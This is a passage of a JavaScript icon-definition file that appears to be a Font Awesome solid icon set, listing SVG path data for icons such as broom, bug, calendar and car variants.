4.49-15.41 11.23C130.64 92.21 128 109.88 128 128c0 18.12 2.64 35.79 7.54 52.76 1.94 6.74 8.39 11.24 15.4 11.24zM89.92 23.34C95.56 12.72 87.97 0 75.96 0H40.63c-6.27 0-12.14 3.59-14.74 9.31C9.4 45.54 0 85.65 0 128c0 24.75 3.12 68.33 26.69 118.86 2.62 5.63 8.42 9.14 14.61 9.14h34.84c12.02 0 19.61-12.74 13.95-23.37-49.78-93.32-16.71-178.15-.17-209.29zM614.06 9.29C611.46 3.58 605.6 0 599.33 0h-35.42c-11.98 0-19.66 12.66-14.02 23.25 18.27 34.29 48.42 119.42.28 209.23-5.72 10.68 1.8 23.52 13.91 23.52h35.23c6.27 0 12.13-3.58 14.73-9.29C630.57 210.48 640 170.36 640 128s-9.42-82.48-25.94-118.71zM489.06 64h-33.73c-11.01 0-18.61 10.83-14.86 21.18 4.93 13.58 7.55 27.98 7.55 42.82s-2.62 29.24-7.55 42.82c-3.76 10.35 3.85 21.18 14.86 21.18h33.73c7.02 0 13.46-4.49 15.41-11.24 4.9-16.97 7.53-34.64 7.53-52.76 0-18.12-2.64-35.79-7.54-52.76-1.94-6.75-8.39-11.24-15.4-11.24zm-116.3 100.12c7.05-10.29 11.2-22.71 11.2-36.12 0-35.35-28.63-64-63.96-64-35.32 0-63.96 28.65-63.96 64 0 13.41 4.15 25.83 11.2 36.12l-130.5 313.41c-3.4 8.15.46 17.52 8.61 20.92l29.51 12.31c8.15 3.4 17.52-.46 20.91-8.61L244.96 384h150.07l49.2 118.15c3.4 8.16 12.76 12.01 20.91 8.61l29.51-12.31c8.15-3.4 12-12.77 8.61-20.92l-130.5-313.41zM271.62 320L320 203.81 368.38 320h-96.76z" ], + broom: [ 640, 512, [], "f51a", "M256.47 216.77l86.73 109.18s-16.6 102.36-76.57 150.12C206.66 523.85 0 510.19 0 510.19s3.8-23.14 11-55.43l94.62-112.17c3.97-4.7-.87-11.62-6.65-9.5l-60.4 22.09c14.44-41.66 32.72-80.04 54.6-97.47 59.97-47.76 163.3-40.94 163.3-40.94zM636.53 31.03l-19.86-25c-5.49-6.9-15.52-8.05-22.41-2.56l-232.48 177.8-34.14-42.97c-5.09-6.41-15.14-5.21-18.59 2.21l-25.33 54.55 86.73 109.18 58.8-12.45c8-1.69 11.42-11.2 6.34-17.6l-34.09-42.92 232.48-177.8c6.89-5.48 8.04-15.53 2.55-22.44z" ], + brush: [ 384, 512, [], "f55d", "M352 0H32C14.33 0 0 14.33 0 32v224h384V32c0-17.67-14.33-32-32-32zM0 320c0 35.35 28.66 64 64 64h64v64c0 35.35 28.66 64 64 64s64-28.65 64-64v-64h64c35.34 0 64-28.65 64-64v-32H0v32zm192 104c13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24s-24-10.75-24-24c0-13.26 10.75-24 24-24z" ], + bug: [ 512, 512, [], "f188", "M511.988 288.9c-.478 17.43-15.217 31.1-32.653 31.1H424v16c0 21.864-4.882 42.584-13.6 61.145l60.228 60.228c12.496 12.497 12.496 32.758 0 45.255-12.498 12.497-32.759 12.496-45.256 0l-54.736-54.736C345.886 467.965 314.351 480 280 480V236c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v244c-34.351 0-65.886-12.035-90.636-32.108l-54.736 54.736c-12.498 12.497-32.759 12.496-45.256 0-12.496-12.497-12.496-32.758 0-45.255l60.228-60.228C92.882 378.584 88 357.864 88 336v-16H32.666C15.23 320 .491 306.33.013 288.9-.484 270.816 14.028 256 32 256h56v-58.745l-46.628-46.628c-12.496-12.497-12.496-32.758 0-45.255 12.498-12.497 32.758-12.497 45.256 0L141.255 160h229.489l54.627-54.627c12.498-12.497 32.758-12.497 45.256 0 12.496 12.497 12.496 32.758 0 45.255L424 197.255V256h56c17.972 0 32.484 14.816 31.988 32.9zM257 0c-61.856 0-112 50.144-112 112h224C369 50.144 318.856 0 257 0z" ], + building: [ 448, 512, [], "f1ad", "M436 480h-20V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v456H12c-6.627 0-12 5.373-12 12v20h448v-20c0-6.627-5.373-12-12-12zM128 76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76zm0 96c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40zm52 148h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12zm76 160h-64v-84c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v84zm64-172c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40z" ], + bullhorn: [ 576, 512, [], "f0a1", "M576 240c0-23.63-12.95-44.04-32-55.12V32.01C544 23.26 537.02 0 512 0c-7.12 0-14.19 2.38-19.98 7.02l-85.03 68.03C364.28 109.19 310.66 128 256 128H64c-35.35 0-64 28.65-64 64v96c0 35.35 28.65 64 64 64h33.7c-1.39 10.48-2.18 21.14-2.18 32 0 39.77 9.26 77.35 25.56 110.94 5.19 10.69 16.52 17.06 28.4 17.06h74.28c26.05 0 41.69-29.84 25.9-50.56-16.4-21.52-26.15-48.36-26.15-77.44 0-11.11 1.62-21.79 4.41-32H256c54.66 0 108.28 18.81 150.98 52.95l85.03 68.03a32.023 32.023 0 0 0 19.98 7.02c24.92 0 32-22.78 32-32V295.13C563.05 284.04 576 263.63 576 240zm-96 141.42l-33.05-26.44C392.95 311.78 325.12 288 256 288v-96c69.12 0 136.95-23.78 190.95-66.98L480 98.58v282.84z" ], + bullseye: [ 496, 512, [], "f140", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 432c-101.69 0-184-82.29-184-184 0-101.69 82.29-184 184-184 101.69 0 184 82.29 184 184 0 101.69-82.29 184-184 184zm0-312c-70.69 0-128 57.31-128 128s57.31 128 128 128 128-57.31 128-128-57.31-128-128-128zm0 192c-35.29 0-64-28.71-64-64s28.71-64 64-64 64 28.71 64 64-28.71 64-64 64z" ], + burn: [ 384, 512, [], "f46a", "M192 0C79.7 101.3 0 220.9 0 300.5 0 425 79 512 192 512s192-87 192-211.5c0-79.9-80.2-199.6-192-300.5zm0 448c-56.5 0-96-39-96-94.8 0-13.5 4.6-61.5 96-161.2 91.4 99.7 96 147.7 96 161.2 0 55.8-39.5 94.8-96 94.8z" ], + bus: [ 512, 512, [], "f207", "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM112 400c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm16-112c-17.67 0-32-14.33-32-32V128c0-17.67 14.33-32 32-32h256c17.67 0 32 14.33 32 32v128c0 17.67-14.33 32-32 32H128zm272 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "bus-alt": [ 512, 512, [], "f55e", "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM160 72c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H168c-4.42 0-8-3.58-8-8V72zm-48 328c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128-112H128c-17.67 0-32-14.33-32-32v-96c0-17.67 14.33-32 32-32h112v160zm32 0V128h112c17.67 0 32 14.33 32 32v96c0 17.67-14.33 32-32 32H272zm128 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "business-time": [ 640, 512, [], "f64a", "M496 224c-79.59 0-144 64.41-144 144s64.41 144 144 144 144-64.41 144-144-64.41-144-144-144zm64 150.29c0 5.34-4.37 9.71-9.71 9.71h-60.57c-5.34 0-9.71-4.37-9.71-9.71v-76.57c0-5.34 4.37-9.71 9.71-9.71h12.57c5.34 0 9.71 4.37 9.71 9.71V352h38.29c5.34 0 9.71 4.37 9.71 9.71v12.58zM496 192c5.4 0 10.72.33 16 .81V144c0-25.6-22.4-48-48-48h-80V48c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h395.12c28.6-20.09 63.35-32 100.88-32zM320 96H192V64h128v32zm6.82 224H208c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h291.43C327.1 423.96 320 396.82 320 368c0-16.66 2.48-32.72 6.82-48z" ], + calculator: [ 448, 512, [], "f1ec", "M400 0H48C22.4 0 0 22.4 0 48v416c0 25.6 22.4 48 48 48h352c25.6 0 48-22.4 48-48V48c0-25.6-22.4-48-48-48zM128 435.2c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8V268.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v166.4zm0-256c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8V76.8C64 70.4 70.4 64 76.8 64h294.4c6.4 0 12.8 6.4 12.8 12.8v102.4z" ], + calendar: [ 448, 512, [], "f133", "M12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm436-44v-36c0-26.5-21.5-48-48-48h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v36c0 6.6 5.4 12 12 12h424c6.6 0 12-5.4 12-12z" ], + "calendar-alt": [ 448, 512, [], "f073", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm320-196c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM192 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM64 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z" ], + "calendar-check": [ 448, 512, [], "f274", "M436 160H12c-6.627 0-12-5.373-12-12v-36c0-26.51 21.49-48 48-48h48V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h128V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h48c26.51 0 48 21.49 48 48v36c0 6.627-5.373 12-12 12zM12 192h424c6.627 0 12 5.373 12 12v260c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V204c0-6.627 5.373-12 12-12zm333.296 95.947l-28.169-28.398c-4.667-4.705-12.265-4.736-16.97-.068L194.12 364.665l-45.98-46.352c-4.667-4.705-12.266-4.736-16.971-.068l-28.397 28.17c-4.705 4.667-4.736 12.265-.068 16.97l82.601 83.269c4.667 4.705 12.265 4.736 16.97.068l142.953-141.805c4.705-4.667 4.736-12.265.068-16.97z" ], + "calendar-day": [ 448, 512, [], "f783", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-96zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z" ], + "calendar-minus": [ 448, 512, [], "f272", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm304 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H132c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h184z" ], + "calendar-plus": [ 448, 512, [], "f271", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm316 140c0-6.6-5.4-12-12-12h-60v-60c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v60h-60c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h60v60c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-60h60c6.6 0 12-5.4 12-12v-40z" ], + "calendar-times": [ 448, 512, [], "f273", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm257.3 160l48.1-48.1c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0L224 306.7l-48.1-48.1c-4.7-4.7-12.3-4.7-17 0l-28.3 28.3c-4.7 4.7-4.7 12.3 0 17l48.1 48.1-48.1 48.1c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l48.1-48.1 48.1 48.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L269.3 352z" ], + "calendar-week": [ 448, 512, [], "f784", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h288c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-64zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z" ], + camera: [ 512, 512, [], "f030", "M512 144v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48h88l12.3-32.9c7-18.7 24.9-31.1 44.9-31.1h125.5c20 0 37.9 12.4 44.9 31.1L376 96h88c26.5 0 48 21.5 48 48zM376 288c0-66.2-53.8-120-120-120s-120 53.8-120 120 53.8 120 120 120 120-53.8 120-120zm-32 0c0 48.5-39.5 88-88 88s-88-39.5-88-88 39.5-88 88-88 88 39.5 88 88z" ], + "camera-retro": [ 512, 512, [], "f083", "M48 32C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H48zm0 32h106c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H38c-3.3 0-6-2.7-6-6V80c0-8.8 7.2-16 16-16zm426 96H38c-3.3 0-6-2.7-6-6v-36c0-3.3 2.7-6 6-6h138l30.2-45.3c1.1-1.7 3-2.7 5-2.7H464c8.8 0 16 7.2 16 16v74c0 3.3-2.7 6-6 6zM256 424c-66.2 0-120-53.8-120-120s53.8-120 120-120 120 53.8 120 120-53.8 120-120 120zm0-208c-48.5 0-88 39.5-88 88s39.5 88 88 88 88-39.5 88-88-39.5-88-88-88zm-48 104c-8.8 0-16-7.2-16-16 0-35.3 28.7-64 64-64 8.8 0 16 7.2 16 16s-7.2 16-16 16c-17.6 0-32 14.4-32 32 0 8.8-7.2 16-16 16z" ], + campground: [ 640, 512, [], "f6bb", "M624 448h-24.68L359.54 117.75l53.41-73.55c5.19-7.15 3.61-17.16-3.54-22.35l-25.9-18.79c-7.15-5.19-17.15-3.61-22.35 3.55L320 63.3 278.83 6.6c-5.19-7.15-15.2-8.74-22.35-3.55l-25.88 18.8c-7.15 5.19-8.74 15.2-3.54 22.35l53.41 73.55L40.68 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM320 288l116.36 160H203.64L320 288z" ], + "candy-cane": [ 512, 512, [], "f786", "M497.5 92C469.6 33.1 411.8 0 352.4 0c-27.9 0-56.2 7.3-81.8 22.6L243.1 39c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5l27.5-16.4c5.1-3.1 10.8-4.5 16.4-4.5 10.9 0 21.5 5.6 27.5 15.6 9.1 15.1 4.1 34.8-11 43.9L15.6 397.6c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5L428.6 301c71.7-42.9 104.6-133.5 68.9-209zm-177.7 13l-2.5 1.5L296.8 45c9.7-4.7 19.8-8.1 30.3-10.2l20.6 61.8c-9.8.8-19.4 3.3-27.9 8.4zM145.9 431.8l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm107.5-63.9l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zM364.3 302l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm20.4-197.3l46-46c8.4 6.5 16 14.1 22.6 22.6L407.6 127c-5.7-9.3-13.7-16.9-22.9-22.3zm82.1 107.8l-59.5-19.8c3.2-5.3 5.8-10.9 7.4-17.1 1.1-4.5 1.7-9.1 1.8-13.6l60.4 20.1c-2.1 10.4-5.5 20.6-10.1 30.4z" ], + cannabis: [ 512, 512, [], "f55f", "M503.47 360.25c-1.56-.82-32.39-16.89-76.78-25.81 64.25-75.12 84.05-161.67 84.93-165.64 1.18-5.33-.44-10.9-4.3-14.77-3.03-3.04-7.12-4.7-11.32-4.7-1.14 0-2.29.12-3.44.38-3.88.85-86.54 19.59-160.58 79.76.01-1.46.01-2.93.01-4.4 0-118.79-59.98-213.72-62.53-217.7A15.973 15.973 0 0 0 256 0c-5.45 0-10.53 2.78-13.47 7.37-2.55 3.98-62.53 98.91-62.53 217.7 0 1.47.01 2.94.01 4.4-74.03-60.16-156.69-78.9-160.58-79.76-1.14-.25-2.29-.38-3.44-.38-4.2 0-8.29 1.66-11.32 4.7A15.986 15.986 0 0 0 .38 168.8c.88 3.97 20.68 90.52 84.93 165.64-44.39 8.92-75.21 24.99-76.78 25.81a16.003 16.003 0 0 0-.02 28.29c2.45 1.29 60.76 31.72 133.49 31.72 6.14 0 11.96-.1 17.5-.31-11.37 22.23-16.52 38.31-16.81 39.22-1.8 5.68-.29 11.89 3.91 16.11a16.019 16.019 0 0 0 16.1 3.99c1.83-.57 37.72-11.99 77.3-39.29V504c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-64.01c39.58 27.3 75.47 38.71 77.3 39.29a16.019 16.019 0 0 0 16.1-3.99c4.2-4.22 5.71-10.43 3.91-16.11-.29-.91-5.45-16.99-16.81-39.22 5.54.21 11.37.31 17.5.31 72.72 0 131.04-30.43 133.49-31.72 5.24-2.78 8.52-8.22 8.51-14.15-.01-5.94-3.29-11.39-8.53-14.15z" ], + capsules: [ 576, 512, [], "f46b", "M555.3 300.1L424.2 112.8C401.9 81 366.4 64 330.4 64c-22.6 0-45.5 6.7-65.5 20.7-19.7 13.8-33.7 32.8-41.5 53.8C220.5 79.2 172 32 112 32 50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V218.9c3.3 8.6 7.3 17.1 12.8 25L368 431.2c22.2 31.8 57.7 48.8 93.8 48.8 22.7 0 45.5-6.7 65.5-20.7 51.7-36.2 64.2-107.5 28-159.2zM160 256H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm194.8 44.9l-65.6-93.7c-7.7-11-10.7-24.4-8.3-37.6 2.3-13.2 9.7-24.8 20.7-32.5 8.5-6 18.5-9.1 28.8-9.1 16.5 0 31.9 8 41.3 21.5l65.6 93.7-82.5 57.7z" ], + car: [ 512, 512, [], "f1b9", "M499.99 176h-59.87l-16.64-41.6C406.38 91.63 365.57 64 319.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4L71.87 176H12.01C4.2 176-1.53 183.34.37 190.91l6 24C7.7 220.25 12.5 224 18.01 224h20.07C24.65 235.73 16 252.78 16 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-19.22-8.65-36.27-22.07-48H494c5.51 0 10.31-3.75 11.64-9.09l6-24c1.89-7.57-3.84-14.91-11.65-14.91zm-352.06-17.83c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L384 208H128l19.93-49.83zM96 319.8c-19.2 0-32-12.76-32-31.9S76.8 256 96 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S396.8 256 416 256s32 12.76 32 31.9-12.8 31.9-32 31.9z" ], + "car-alt": [ 480, 512, [], "f5de", "M438.66 212.33l-11.24-28.1-19.93-49.83C390.38 91.63 349.57 64 303.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4l-19.93 49.83-11.24 28.1C17.22 221.5 0 244.66 0 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-27.34-17.22-50.5-41.34-59.67zm-306.73-54.16c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L368 208H112l19.93-49.83zM80 319.8c-19.2 0-32-12.76-32-31.9S60.8 256 80 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S380.8 256 400 256s32 12.76 32 31.9-12.8 31.9-32 31.9z" ], + "car-battery": [ 512, 512, [], "f5df", "M480 128h-32V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v48H192V80c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v48H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32zM192 264c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm256 0c0 4.42-3.58 8-8 8h-40v40c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-40h-40c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h40v-40c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v40h40c4.42 0 8 3.58 8 8v16z" ], + "car-crash": [ 640, 512, [], "f5e1", "M143.25 220.81l-12.42 46.37c-3.01 11.25-3.63 22.89-2.41 34.39l-35.2 28.98c-6.57 5.41-16.31-.43-14.62-8.77l15.44-76.68c1.06-5.26-2.66-10.28-8-10.79l-77.86-7.55c-8.47-.82-11.23-11.83-4.14-16.54l65.15-43.3c4.46-2.97 5.38-9.15 1.98-13.29L21.46 93.22c-5.41-6.57.43-16.3 8.78-14.62l76.68 15.44c5.26 1.06 10.28-2.66 10.8-8l7.55-77.86c.82-8.48 11.83-11.23 16.55-4.14l43.3 65.14c2.97 4.46 9.15 5.38 13.29 1.98l60.4-49.71c6.57-5.41 16.3.43 14.62 8.77L262.1 86.38c-2.71 3.05-5.43 6.09-7.91 9.4l-32.15 42.97-10.71 14.32c-32.73 8.76-59.18 34.53-68.08 67.74zm494.57 132.51l-12.42 46.36c-3.13 11.68-9.38 21.61-17.55 29.36a66.876 66.876 0 0 1-8.76 7l-13.99 52.23c-1.14 4.27-3.1 8.1-5.65 11.38-7.67 9.84-20.74 14.68-33.54 11.25L515 502.62c-17.07-4.57-27.2-22.12-22.63-39.19l8.28-30.91-247.28-66.26-8.28 30.91c-4.57 17.07-22.12 27.2-39.19 22.63l-30.91-8.28c-12.8-3.43-21.7-14.16-23.42-26.51-.57-4.12-.35-8.42.79-12.68l13.99-52.23a66.62 66.62 0 0 1-4.09-10.45c-3.2-10.79-3.65-22.52-.52-34.2l12.42-46.37c5.31-19.8 19.36-34.83 36.89-42.21a64.336 64.336 0 0 1 18.49-4.72l18.13-24.23 32.15-42.97c3.45-4.61 7.19-8.9 11.2-12.84 8-7.89 17.03-14.44 26.74-19.51 4.86-2.54 9.89-4.71 15.05-6.49 10.33-3.58 21.19-5.63 32.24-6.04 11.05-.41 22.31.82 33.43 3.8l122.68 32.87c11.12 2.98 21.48 7.54 30.85 13.43a111.11 111.11 0 0 1 34.69 34.5c8.82 13.88 14.64 29.84 16.68 46.99l6.36 53.29 3.59 30.05a64.49 64.49 0 0 1 22.74 29.93c4.39 11.88 5.29 25.19 1.75 38.39zM255.58 234.34c-18.55-4.97-34.21 4.04-39.17 22.53-4.96 18.49 4.11 34.12 22.65 39.09 18.55 4.97 45.54 15.51 50.49-2.98 4.96-18.49-15.43-53.67-33.97-58.64zm290.61 28.17l-6.36-53.29c-.58-4.87-1.89-9.53-3.82-13.86-5.8-12.99-17.2-23.01-31.42-26.82l-122.68-32.87a48.008 48.008 0 0 0-50.86 17.61l-32.15 42.97 172 46.08 75.29 20.18zm18.49 54.65c-18.55-4.97-53.8 15.31-58.75 33.79-4.95 18.49 23.69 22.86 42.24 27.83 18.55 4.97 34.21-4.04 39.17-22.53 4.95-18.48-4.11-34.12-22.66-39.09z" ], + "car-side": [ 640, 512, [], "f5e4", "M544 192h-16L419.22 56.02A64.025 64.025 0 0 0 369.24 32H155.33c-26.17 0-49.7 15.93-59.42 40.23L48 194.26C20.44 201.4 0 226.21 0 256v112c0 8.84 7.16 16 16 16h48c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h48c8.84 0 16-7.16 